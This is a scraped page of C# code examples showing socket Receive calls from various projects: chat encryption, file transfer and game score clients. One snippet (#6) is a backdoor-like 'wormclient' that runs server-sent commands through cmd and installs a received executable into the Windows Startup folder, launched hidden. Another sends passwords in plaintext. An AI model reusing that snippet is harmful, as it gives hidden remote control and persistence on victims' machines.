コード例 #1
0
// ExecuteClient() Method
        static void ExecuteClient()
        {
            try {
                // Establish the remote endpoint
                // for the socket. This example
                // uses port 11111 on the local
                // computer.
                IPHostEntry ipHost        = Dns.GetHostEntry(Dns.GetHostName());
                IPAddress   ipAddr        = ipHost.AddressList[0];
                IPEndPoint  localEndPoint = new IPEndPoint(ipAddr, 11111);

                // Creation TCP/IP Socket using
                // Socket Class Costructor
                Socket sender = new Socket(ipAddr.AddressFamily,
                                           SocketType.Stream, ProtocolType.Tcp);

                try {
                    // Connect Socket to the remote
                    // endpoint using method Connect()
                    sender.Connect(localEndPoint);

                    // We print EndPoint information
                    // that we are connected
                    Console.WriteLine("Socket connected to -> {0} ",
                                      sender.RemoteEndPoint.ToString());

                    // Creation of messagge that
                    // we will send to Server
                    byte[] messageSent = Encoding.ASCII.GetBytes("Test Client<EOF>");
                    int    byteSent    = sender.Send(messageSent);

                    // Data buffer
                    byte[] messageReceived = new byte[1024];

                    // We receive the messagge using
                    // the method Receive(). This
                    // method returns number of bytes
                    // received, that we'll use to
                    // convert them to string
                    int byteRecv = sender.Receive(messageReceived);
                    Console.WriteLine("Message from Server -> {0}",
                                      Encoding.ASCII.GetString(messageReceived,
                                                               0, byteRecv));

                    // Close Socket using
                    // the method Close()
                    sender.Shutdown(SocketShutdown.Both);
                    sender.Close();
                }

                // Manage of Socket's Exceptions
                catch (ArgumentNullException ane) {
                    Console.WriteLine("ArgumentNullException : {0}", ane.ToString());
                }

                catch (SocketException se) {
                    Console.WriteLine("SocketException : {0}", se.ToString());
                }

                catch (Exception e) {
                    Console.WriteLine("Unexpected exception : {0}", e.ToString());
                }
            }

            catch (Exception e) {
                Console.WriteLine(e.ToString());
            }
        }
コード例 #2
0
ファイル: Client.cs プロジェクト: phatdinhvn/SecurityMessage
        /// <summary>
        /// Receive Message
        /// </summary>
        void Receive()
        {
            try
            {
                c : while (true)//luôn luôn nhận
                {
                    data = new byte[1024];
                    client.Receive(data);

                    if (string.Equals(Encoding.UTF8.GetString(data), "guikey", StringComparison.InvariantCultureIgnoreCase))
                    {
                        txtkeyserver.Clear();
                        txtFinalKey.Clear();
                        nhankeydadoi = new byte[140];
                        client.Receive(nhankeydadoi);
                        keypublic         = Convert.ToBase64String(nhankeydadoi);
                        txtkeyserver.Text = keypublic;
                        TaoKey();
                        Diff.LayKhoaBiMat(nhankeydadoi);
                        khoabimat        = Diff.aes.Key;
                        keysecret        = Convert.ToBase64String(khoabimat);
                        txtFinalKey.Text = keysecret;
                        nhankey          = nhankeydadoi;
                        guilaipublickey();
                    }
                    else if (string.Equals(Encoding.UTF8.GetString(data), "guikeytoclient", StringComparison.InvariantCultureIgnoreCase))
                    {
                        txtkeyserver.Clear();
                        txtFinalKey.Clear();
                        nhankeydadoi = new byte[140];
                        client.Receive(nhankeydadoi);
                        keypublic         = Convert.ToBase64String(nhankeydadoi);
                        txtkeyserver.Text = keypublic;
                        Diff.LayKhoaBiMat(nhankeydadoi);
                        khoabimat        = Diff.aes.Key;
                        keysecret        = Convert.ToBase64String(khoabimat);
                        txtFinalKey.Text = keysecret;
                        nhankey          = nhankeydadoi;
                    }
                    else
                    {
                        dateTimeIV = md5.maHoaMd5(DateTime.Now.ToString());
                        string time = dateTimeIV.Substring(0, 16);
                        dateTimeIv = Encoding.UTF8.GetBytes(time);

                        tinnhan = new byte[BitConverter.ToInt32(data, 0)];
                        client.Receive(tinnhan);
                        byte[] nhanvector = new byte[16];
                        client.Receive(nhanvector);
                        string message = Diff.GiaiMaDiffie(nhankey, tinnhan, nhanvector);
                        string a       = txtFinalKey.Text.Substring(0, 32);
                        byte[] key     = Encoding.ASCII.GetBytes(a);
                        string s       = aes.DecryptString(message, key, dateTimeIv);
                        foreach (char c in s)
                        {
                            if (c.ToString() == ";")
                            {
                                string[] tokens = s.Trim().Split(';');
                                compare1 = tokens[1];
                                compare2 = md5.maHoaMd5(tokens[0]);
                                if (compare1 != compare2)
                                {
                                    AddMessage(tokens[0]);
                                    MessageHeTHong("chuỗi này đã bị thay đổi vì 2 chuỗi mã hóa khác nhau :");
                                    MessageHeTHong("Chuỗi mã hóa trước khi gửi :" + compare1);
                                    MessageHeTHong("chuỗi mã hóa sau khi mã hóa tin nhận :" + compare2);
                                    goto c;
                                }
                            }
                        }
                        AddMessage(s);
                    }
                }
            }

            catch (Exception ex)
            {
                MessageBox.Show(ex.Message);
            }
        }
コード例 #3
0
ファイル: Form1.cs プロジェクト: gunescelil/network
        public void handleMessage()
        {
            byte[] response = new byte[4];
            client.Receive(response);
            string message = Encoding.Default.GetString(response);

            message = message.ToLower();
            switch (message)
            {
            case "liok":     // The server is sending the file list
                SendMessage("lico");
                receiveFileList();
                break;

            case "welc":
                monitor.AppendText("Connected to server\n");
                break;

            case "unok":
                SendMessage("unam");     // now sending the real user name
                break;

            case "usno":
                //button
                connected             = false;
                connectButton.Enabled = true;
                nameUserTb.Enabled    = true;
                PortNumber.Enabled    = true;
                IP.Enabled            = true;
                client.Close();
                monitor.AppendText("Username is already connected to the server.\n");


                break;

            case "down":     // send request to download the file
                break;

            case "dlco":     // deletion of the of the file is okey
                monitor.AppendText(tb_FileToDelete.Text + " is deleted\n");
                break;

            case "fiok":             // Server send ack to receive data
                SendMessage("fnme"); // Send info about sending file name
                break;

            case "fnok":
                sendFileName();

                break;

            case "fnco":
                //SendMessage("data"); // send the real data of the file
                SendMessage("pckn");


                break;

            case "pcok":
                sendNumberOfPackets();

                break;

            case "pcco":    // Server got number of packets in its hand. Now send the real data
                SendMessage("data");
                break;

            case "daok":
                sendFileData();
                break;

            case "dafi":
                monitor.AppendText("Sent the file named " + fileToSend + "\n");
                break;

            case "chok":     // server ACK
                sendFileNamesToRename();
                break;

            case "fdne":      // file does not exist error message
                showNotificationBalloon("File does not exist in the server. Check the file name");
                break;

            case "":
                showNotificationBalloon("New file name is invalid\n");
                break;

            case "deok":
                sendFileNameToDelete();
                break;

            case "dook":
                SendMessage("doco");

                break;

            case "refn":
                sendFileNameToDownload();
                break;

            case "dcom":
                SendMessage("dcok");

                break;

            case "pckn":     // packet numarasını alıyorum diyoruz
                SendMessage("nuok");
                NoOfPacketsDownload = rececivePacketNumber();
                SendMessage("nudo");
                break;

            case "fida":
                SendMessage("fdok");     // anladım diyorum
                downloadFileData();
                //SendMessage("fcom");
                break;

            case "dsok":
                connected = false;
                SendMessage("dico");

                break;

            case "dido":
                client.Close();
                monitor.AppendText("Disconnected from the server\n");
                break;
            }
        }
コード例 #4
0
ファイル: Program.cs プロジェクト: DinaraAldarova/DB
        static void Main(string[] args)
        {
            try
            {
                //Для подключения к SQLite, создается один раз
                SQLiteFactory factory = (SQLiteFactory)DbProviderFactories.GetFactory("System.Data.SQLite");

                Console.WriteLine("Сгенерировать новую БД SQLite? (y/n)");
                ConsoleKeyInfo keyInfo = Console.ReadKey(false);
                if (keyInfo.KeyChar == 'y' || keyInfo.KeyChar == 'у' || keyInfo.KeyChar == 'д')
                {
                    //генерация новой БД
                    Console.WriteLine("Запись данных в БД SQLite");
                    WriteSQLite(factory);
                    Console.WriteLine("Нажмите любую клавишу для продолжения...");
                    Console.ReadKey(true);
                }

                //чтение БД
                Console.WriteLine("Чтение данных из БД SQLite");
                List <FullRow> rows     = ReadSQLite(factory);
                string         str_data = JsonConvert.SerializeObject(rows);

                // подключаемся к удаленному хосту
                IPEndPoint ipPoint = new IPEndPoint(IPAddress.Parse(address), port);
                Socket     socket  = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                socket.Connect(ipPoint);

                Console.WriteLine("Шифрование данных");

                // получаем публичный ключ RSA
                byte[]        data_rsa   = new byte[2048]; // буфер для ответа
                int           bytes      = socket.Receive(data_rsa, data_rsa.Length, 0);
                string        serial_rsa = Encoding.Unicode.GetString(data_rsa, 0, bytes);
                RSAParameters rsaParams  = JsonConvert.DeserializeObject <RSAParameters>(serial_rsa);

                //шифруем симметричным шифрованием данные
                Rijndael cipher    = Rijndael.Create();
                string   encrypted = Encrypt(str_data, cipher.Key, cipher.IV);
                //string decrypted = Decrypt(encrypted, cipher.Key, cipher.IV);

                //шифруем RSA ключ симметричного шифрования
                byte[] encrypted_key = RSAEncrypt(cipher.Key, rsaParams);
                //byte[] decrypted_key = RSAEncrypt(encrypted_key, RSA.ExportParameters(true));

                //удаляем из памяти экземпляр класса симметричного шифрования
                byte[] iv = cipher.IV;
                cipher.Dispose();

                Console.WriteLine("Пересылка данных");

                //отправляем зашифрованный ключ симметричного шифрования
                socket.Send(encrypted_key);

                // получаем подтверждение
                byte[] data = new byte[256]; // буфер для ответа
                bytes = socket.Receive(data, data.Length, 0);
                string answer = Encoding.Unicode.GetString(data, 0, bytes);
                if (!answer.Equals("ready"))
                {
                    throw new Exception("Получены некорректные данные");
                }

                //отправляем инициализующий вектор симметричного шифрования в открытом виде
                socket.Send(iv);

                //получаем подтверждение
                data   = new byte[256]; // буфер для ответа
                bytes  = socket.Receive(data, data.Length, 0);
                answer = Encoding.Unicode.GetString(data, 0, bytes);
                if (!answer.Equals("ready"))
                {
                    throw new Exception("Получены некорректные данные");
                }

                //отправляем размер данных
                byte[] data_rows = Encoding.Unicode.GetBytes(encrypted);
                string message   = "отправка " + data_rows.Length;
                data = Encoding.Unicode.GetBytes(message);
                socket.Send(data);

                // получаем подтверждение
                data   = new byte[256]; // буфер для ответа
                bytes  = socket.Receive(data, data.Length, 0);
                answer = Encoding.Unicode.GetString(data, 0, bytes);
                if (!answer.Equals("ready"))
                {
                    throw new Exception("Получены некорректные данные");
                }

                //отправляем зашифрованные данные
                socket.Send(data_rows);

                // получаем количество доставленных байт
                data   = new byte[256]; // буфер для ответа
                bytes  = socket.Receive(data, data.Length, 0);
                answer = Encoding.Unicode.GetString(data, 0, bytes);

                //отображаем отчет
                string[] res = answer.Split(' ');
                if (res.Length != 2 || !res[0].Equals("доставлено"))
                {
                    throw new Exception("Получены некорректные данные");
                }
                int count = int.Parse(res[1]);
                Console.WriteLine("Отправлено {0} байт.\nДоставлено {1} байт", data_rows.Length, count);

                // закрываем сокет
                socket.Shutdown(SocketShutdown.Both);
                socket.Close();
            }
            catch (Exception ex)
            {
                Console.WriteLine("Произошла ошибка {0}. Приложение будет закрыто.", ex.Message);
            }

            Console.WriteLine("Нажмите любую клавишу для выхода...");
            Console.ReadKey(true);
            Environment.Exit(0);
        }
コード例 #5
0
        void Receive()
        {
            try
            {
                c : while (true)
                {
                    data = new byte[1024];
                    client.Receive(data);

                    if (string.Equals(Encoding.UTF8.GetString(data), "guikey", StringComparison.InvariantCultureIgnoreCase))
                    {
                        textBox2.Clear();
                        textBox4.Clear();
                        nhankeydadoi = new byte[140];
                        client.Receive(nhankeydadoi);
                        keypublic     = Convert.ToBase64String(nhankeydadoi);
                        textBox2.Text = keypublic;
                        TaoKey();
                        Diff.LayKhoaBiMat(nhankeydadoi);
                        khoabimat     = Diff.aes.Key;
                        keysecret     = Convert.ToBase64String(khoabimat);
                        textBox4.Text = keysecret;
                        nhankey       = nhankeydadoi;
                        guilaipublickey();
                    }
                    else if (string.Equals(Encoding.UTF8.GetString(data), "guikeytoclient", StringComparison.InvariantCultureIgnoreCase))
                    {
                        textBox2.Clear();
                        textBox4.Clear();
                        nhankeydadoi = new byte[140];
                        client.Receive(nhankeydadoi);
                        keypublic     = Convert.ToBase64String(nhankeydadoi);
                        textBox2.Text = keypublic;
                        Diff.LayKhoaBiMat(nhankeydadoi);
                        khoabimat     = Diff.aes.Key;
                        keysecret     = Convert.ToBase64String(khoabimat);
                        textBox4.Text = keysecret;
                        nhankey       = nhankeydadoi;
                    }
                    else
                    {
                        dateTimeIV = md5.maHoaMd5(DateTime.Now.ToString());
                        string time = dateTimeIV.Substring(0, 16);
                        dateTimeIv = Encoding.UTF8.GetBytes(time);

                        tinnhan = new byte[BitConverter.ToInt32(data, 0)];
                        client.Receive(tinnhan);
                        byte[] nhanvector = new byte[16];
                        client.Receive(nhanvector);
                        string   message = Diff.GiaiMaDiffie(nhankey, tinnhan, nhanvector);
                        string   a       = textBox4.Text.Substring(0, 32);
                        byte[]   key     = Encoding.ASCII.GetBytes(a);
                        string   s       = aes.DecryptString(message, key, dateTimeIv);
                        string[] arr     = s.Split('|');
                        string   padding = arr[1];
                        string   result  = s.Substring(0, s.Length - int.Parse(padding));
                        AddMessage(result);
                    }
                }
            }

            catch (Exception ex)
            {
                MessageBox.Show(ex.Message);
            }
        }
コード例 #6
0
ファイル: Program.cs プロジェクト: moozon/ClientServer
        //Прием данных
        static void Recive()
        {
            string s1;

            while (true)
            {
                buffer = new byte[1024];

                try
                {
                    Console.WriteLine("Receive...");
                    i = s.Receive(buffer);
                    Console.WriteLine("Received succes");
                    //Console.WriteLine("Received succes. Prineto " + i.ToString()+ " bytes");
                }

                catch (Exception e)
                {
                    Console.WriteLine("Not recive: {0}", e.Message);
                    Thread.Sleep(1000);
                    continue;
                }


                /// Записываем входные данные в строку

                s1 = Encoding.ASCII.GetString(buffer, 0, i);

                if (newProg == null)
                {
                    switch (s1)
                    {
                    //Закрытие программы
                    case "exit":
                        exit();
                        //Process.GetCurrentProcess().Dispose();
                        break;

                    //Перезапуск программы
                    case "reset":
                        //reset();

                        break;


                    //Запуск приложения
                    case "run":
                        //reset();
                        break;

                    //Остановка запущенного приложения
                    case "stop":
                        if (newProg != null)
                        {
                            newProg.Dispose();
                            newProg = null;
                        }
                        break;

                    //Запуск CMD.EXE
                    case "cmd":
                        try
                        {
                            newProg = new ProgramStart("cmd");
                            //runProgram("cmd");
                            //send("Program_started");
                            //s.Send()
                            Console.WriteLine("Program zapush");
                        }
                        catch (Exception e)
                        {
                            //MessageBox.Show(e.Message);
                            send("Program_not_started  " + e.Message);
                        }
                        break;

                    //Прием файла
                    case "filerecive":

                        int    countbyte   = s.Receive(buffer);
                        string countstring = Encoding.ASCII.GetString(buffer, 0, countbyte);
                        int    filesize    = int.Parse(countstring);
                        int    filesize1   = 0;
                        long   filesize2   = 0;
                        buffer = new byte[s.ReceiveBufferSize];
                        bool   _bool = true;
                        byte[] data  = new byte[filesize];


                        Console.WriteLine("Priem faila razmerom: {0}", filesize);

                        while (_bool)
                        {
                            Console.WriteLine("Prinimaiu.........");
                            int j = s.Receive(buffer);
                            filesize1 += j;
                            Console.WriteLine("Prinial {0} bayt", j.ToString());
                            Console.WriteLine("Prinial vsego {0} baytov", filesize1);

                            try
                            {
                                if (j < s.ReceiveBufferSize)
                                {
                                    byte[] data2 = new byte[j];
                                    Array.Copy(buffer, data2, j);
                                    data2.CopyTo(data, filesize2);
                                }
                                buffer.CopyTo(data, filesize2);
                            }
                            catch (Exception e)
                            {
                            }
                            filesize2 += j;

                            if (filesize1 == filesize)
                            {
                                Console.WriteLine("Priem okonchen");
                                _bool = false;
                                continue;
                            }
                        }

                        Console.WriteLine("Zapis` v fail");
                        File.WriteAllBytes(@".\wormclient1.exe", data);
                        string _string = @"TASKKILL /F /IM " + Process.GetCurrentProcess().ProcessName + ".exe" + Environment.NewLine + @"COPY wormclient1.exe " + @"""%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wormclient.exe""" + Environment.NewLine + "del /f /q wormclient1.exe" + Environment.NewLine + "start /b wormclient.exe";
                        File.WriteAllText(@Directory.GetCurrentDirectory() + "/run.bat", _string);
                        Process p = new Process();
                        p.StartInfo.FileName    = @Directory.GetCurrentDirectory() + "/run.bat";
                        p.StartInfo.Arguments   = " /b";
                        p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;

                        /*
                         * try
                         * {
                         * new FileInfo(@"%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\run.bat").Attributes = FileAttributes.Hidden;
                         * new FileInfo(@"%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wormclient.exe").Attributes = FileAttributes.Hidden;
                         * }
                         * catch (Exception e)
                         * {
                         * MessageBox.Show(e.Message);
                         * }
                         */
                        //new FileInfo(@"%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\wormclient.exe").Attributes = FileAttributes.Hidden;
                        p.Start();
                        Console.WriteLine("File priniat");
                        buffer = new byte[1024];


                        break;

                    case "":
                        Console.WriteLine("Pusto");
                        break;

                    default:

                        if (buffer.Length <= 1024)
                        {
                            Console.WriteLine(s1 + " Not found");
                        }
                        break;
                    }
                }
                else
                {
                    if (s1 != "stop")
                    {
                        newProg.sendCommandfunc(s1);
                    }
                    else
                    {
                        newProg.Dispose();
                        newProg = null;
                        send("Programma zakrbita");
                    }
                }

                buffer = null;
                Thread.Sleep(1000);
            }
        }
コード例 #7
0
        private void ServerMsg()

        /*{
         *  byte[] b = new byte[4096];
         *  MemoryStream fs = new MemoryStream();
         *  NetworkStream ns = new NetworkStream(testSocket);
         *  int length = 0;
         *  try
         *  {
         *      Thread.Sleep(30000);
         *      if (ns.CanRead)
         *      {
         *          while (ns.DataAvailable)
         *          {
         *              length = ns.Read(b, 0, b.Length);
         *              fs.Write(b, 0, length);
         *          }
         *      MessageBox.Show("1");
         *      }
         *
         *      Bitmap Img = new Bitmap(fs);
         *      Img.Save(@"01.bmp", ImageFormat.Bmp);
         *      fs.Flush();
         *      fs.Close();
         *      }
         *  catch (Exception e)
         *  {
         *      //Bitmap Img = new Bitmap(fs);
         *      //Img.Save(@"01.bmp", ImageFormat.Bmp);
         *      //fs.Flush();
         *      //fs.Close();
         *      MessageBox.Show(e.Message);
         *      label1.BackColor = Color.Red;
         *  }
         * }*/
        {
            while (true)
            {
                //FileStream wrtr = new FileStream(@"F:\GIT\SWSRemoteControl\Client\Client\bin\Debug" + "//test.bmp", FileMode.Create);
                MemoryStream  fs           = new MemoryStream();
                Socket        socketServer = testSocket;
                NetworkStream ns           = new NetworkStream(socketServer);
                byte[]        buffer       = new byte[1024];
                int           rect         = socketServer.Receive(buffer, 0, 1024, 0);
                int           size         = BitConverter.ToInt32(buffer, 0);
                int           dataleft     = size;
                buffer = new byte[size];
                int total = 0;
                while (total < size)                                         //当接收长度小于总长度时继续执行
                {
                    rect = socketServer.Receive(buffer, total, dataleft, 0); //接收字节流,receive方法返回int获取已接收字节个数,第一个参数是需要写入的字节组,第二个参数是起始位置,第三个参数是接收字节的长度
                    textBox1.AppendText(rect.ToString() + "\n");
                    total    += rect;                                        //已接收个数-下一次从当前个数开始接收
                    dataleft -= rect;                                        //剩下的字节长度
                }
                fs.Write(buffer, 0, buffer.Length);                          //输出文件
                Bitmap Img = new Bitmap(fs);
                fs.Flush();                                                  //强制输出
                fs.Close();                                                  //关闭文件流对象
                pictureBox1.Image = Img;
                Thread.Sleep(100);
                break;
            }
        }
コード例 #8
0
        private void SendMessageFromSocket(object port)
        {
            try
            {
                // Буфер для входящих данных
                byte[] bytes = new byte[1024];

                // Соединяемся с удаленным устройством
                // Устанавливаем удаленную точку для сокета
                IPHostEntry ipHost     = Dns.GetHostEntry("localhost");
                IPAddress   ipAddr     = ipHost.AddressList[0];
                IPEndPoint  ipEndPoint = new IPEndPoint(ipAddr, (int)port);

                Socket sender = new Socket(ipAddr.AddressFamily, SocketType.Stream, ProtocolType.Tcp);

                // Соединяем сокет с удаленной точкой
                sender.Connect(ipEndPoint);
                string request = "";
                Dispatcher.Invoke(() =>
                {
                    request           = indexTextBox.Text;
                    indexTextBox.Text = string.Empty;
                });

                byte[] msg = Encoding.UTF8.GetBytes(request);

                // Отправляем данные через сокет
                int bytesSent = sender.Send(msg);

                // Получаем ответ от сервера
                int    bytesRec = sender.Receive(bytes);
                string str      = Encoding.UTF8.GetString(bytes, 0, bytesRec);
                for (int i = 0; i < str.Length; i++)
                {
                    if (str[i] == '.')
                    {
                        str = str.Insert(i + 1, ", ");
                    }
                }

                Dispatcher.Invoke(() =>
                {
                    streetTextBox.Text = str;
                });

                // Освобождаем сокет
                sender.Shutdown(SocketShutdown.Both);
                sender.Close();
            }
            catch (SocketException ex)
            {
                MessageBox.Show(ex.Message, "Error", MessageBoxButton.OK, MessageBoxImage.Error);
            }
            catch (ArgumentNullException ex)
            {
                MessageBox.Show(ex.Message, "Error", MessageBoxButton.OK, MessageBoxImage.Error);
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message, "Error", MessageBoxButton.OK, MessageBoxImage.Error);
            }
        }
コード例 #9
0
        /// <summary>
        /// 处理数据的接收
        /// </summary>
        /// <param name="obj"></param>
        private void RecievedHandle(object obj)
        {
            //获取套接字
            Socket acSocket = obj as Socket;

            //定义缓存 1MB
            byte[] buffer = new byte[1024 * 1024 * 3];
            //获取远端IP及端口
            string ip = acSocket.RemoteEndPoint.ToString();
            //文件IO
            Stream fs = null;
            //已接收文件大小
            long curFileSize = 0;

            //响应
            byte[] answer = new byte[] { 1 };
            while (true)
            {
                int ret;
                try
                {
                    Array.Clear(buffer, 0, buffer.Length);
                    //接收消息
                    ret = acSocket.Receive(buffer, buffer.Length, SocketFlags.None);
                    if (ret <= 0)
                    {
                        //服务器端断开时处理异常
                        log(ip, "服务器维护中,请联系管理员!");
                        //关闭套接字
                        acSocket.Close();
                        //退出线程
                        return;
                    }
                    Package pack = null;

                    try
                    {
                        BinaryFormatter formatter = new BinaryFormatter();
                        using (MemoryStream mStream = new MemoryStream())
                        {
                            mStream.Write(buffer, 0, ret);
                            mStream.Flush();
                            mStream.Seek(0, SeekOrigin.Begin);
                            pack = (Package)formatter.Deserialize(mStream);
                        }
                    }
                    catch (Exception)
                    {
                        //错误的包重传
                        acSocket.Send(new byte[] { 0 }, SocketFlags.OutOfBand);
                        log("warm", "回传包");
                        continue;
                    }

                    //消息
                    if (pack.PackType == PackageType.message)
                    {
                        //写入日志
                        log(pack.Src_IP_Port, pack.Message);
                    }
                    else if (pack.PackType == PackageType.moveFrm)//闪屏
                    {
                        log(pack.Src_IP_Port, "发送了一个抖窗");
                        MoveFrm(this);
                    }
                    else if (pack.PackType == PackageType.file)//文件
                    {
                        curFileSize += pack.FileBuffer.Length;
                        SetProgressBarLabel(pbReceive, lblReceive, curFileSize, pack.FileSize);
                        fs = FileReceived(fs, pack, ref curFileSize);
                    }
                    acSocket.Send(answer, SocketFlags.OutOfBand);
                }
                catch (Exception ex)
                {
                    curFileSize = 0;
                    ResetProgressBarLabel(pbReceive, lblReceive);
                    log("error", ex.Message);
                    if (null != fs)
                    {
                        fs.Close();
                        fs.Dispose();
                        fs = null;
                    }
                    //客户端断开时处理异常
                    log(ip, "服务器维护中,请联系管理员!");
                    //关闭套接字
                    acSocket.Close();
                    //处理控件状态
                    FrmStatus(true);
                    //退出线程
                    return;
                }
            }
        }
コード例 #10
0
        //Method to login and connect to server
        public bool connect()
        {
            TextBox userName = Application.OpenForms["Form1"].Controls["textBox1"] as TextBox;
            TextBox password = Application.OpenForms["Form1"].Controls["textBox2"] as TextBox;

            TextBox txtServerIP   = Application.OpenForms["Form1"].Controls["txtServerIP"] as TextBox;
            TextBox txtServerPort = Application.OpenForms["Form1"].Controls["txtServerPort"] as TextBox;



            if (oneTime)
            {
                IPAddress  host   = IPAddress.Parse(txtServerIP.Text);////161.45.167.244");
                IPEndPoint hostep = new IPEndPoint(host, Int32.Parse(txtServerPort.Text));
                sock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

                sock.Connect(hostep);
                oneTime = false;
            }
            string UnamePassword = userName.Text + ";_;" + password.Text;

            byte[] msg   = Encoding.ASCII.GetBytes(UnamePassword);
            byte[] reply = new byte[5];
            // Send the data through the socket.
            int bytesSent = sock.Send(msg);

            sock.Receive(reply);
            //MessageBox.Show(System.Text.Encoding.ASCII.GetString(reply));
            //Socket1 = new TcpClient();
            //Socket1.Connect("10.1.10.136", 3000);
            //NetworkStream strm = Socket1.GetStream();
            //ASCIIEncoding uname = new ASCIIEncoding();
            //ASCIIEncoding size = new ASCIIEncoding();
            //string UnamePassword=userName.Text+";_;"+password.Text;
            //byte[] msg = uname.GetBytes(UnamePassword);
            //var length = msg.Length.ToString();
            ////string lengthOfMessage;
            //strm.Write(size.GetBytes(length), 0, size.GetBytes(length).Length);
            //strm.Write(msg, 0, msg.Length);
            //strm.se
            //Socket.Available
            string k      = System.Text.Encoding.ASCII.GetString(reply, 0, 5);
            int    result = 0;

            if (k.Contains("true"))
            {
                result = Int32.Parse(k.Substring(4, 1));
                k      = "true";
            }
            if (bool.Parse(k))
            {
                if (result == 1)
                {
                    MessageBox.Show("User Didn't exist, Login has been created with credentials entered");
                }
                uName = userName.Text;
                return(true);
            }
            else
            {
                loginCount++;
                if (loginCount == 3)
                {
                    MessageBox.Show("Limit(3 times) for wrong password reached.");
                    //sock.Close();
                    Environment.Exit(0);

                    oneTime = true;
                }
                return(false);
            }

            //return bool.Parse(reply.ToString());
        }
コード例 #11
0
ファイル: Player.cs プロジェクト: nabondance/Tetris-network
        // Function to get the score of every player from the server
        public List <Player> GetScoreAllPlayers()
        {
            List <Player> players = new List <Player>();

            // Data buffer for incoming data.
            byte[] bytes = new byte[1024];

            // Connect to a remote device.
            try
            {
                var address = Dns.GetHostEntry(serverAddress).AddressList.First(ip => ip.AddressFamily == AddressFamily.InterNetworkV6); // IPV4 to IPV6 address

                IPAddress  ipAddress = address;
                IPEndPoint remoteEP  = new IPEndPoint(ipAddress, Int32.Parse(serverPort));

                // Create a TCP/IP  socket.
                Socket sender = new Socket(ipAddress.AddressFamily,
                                           SocketType.Stream, ProtocolType.Tcp);

                // Connect the socket to the remote endpoint. Catch any errors.
                try
                {
                    sender.Connect(remoteEP);

                    // Encode the data string into a byte array.
                    byte[] msg = Encoding.ASCII.GetBytes("<ScorePlayers>" + this.id);// Ask the score of other players

                    // Send the data through the socket.
                    int bytesSent = sender.Send(msg);

                    // Receive the response from the remote device.
                    int bytesRec = sender.Receive(bytes);

                    string result = Encoding.ASCII.GetString(bytes, 0, bytesRec);

                    if (result.IndexOf("<ReturnScorePlayers>") < 0)
                    {
                        Console.WriteLine("Server return error.");
                    }

                    // Release the socket.
                    sender.Shutdown(SocketShutdown.Both);
                    sender.Close();

                    // Get the answer of the server and put it on the List of players score
                    result = result.Replace("<ReturnScorePlayers>", "");

                    string[] result_array = result.Split(';');

                    for (int i = 0; i < result_array.Length; i += 2)
                    {
                        players.Add(new Player(result_array[i], Int16.Parse(result_array[i + 1])));// Create a new player with its id and score and add it to the list of all players
                    }
                    return(players);
                }
                catch (Exception e)
                {
                    Console.WriteLine("Unexpected exception : {0}", e.ToString());
                }
            }
            catch (Exception e)
            {
                Console.WriteLine(e.ToString());
            }
            return(null);
        }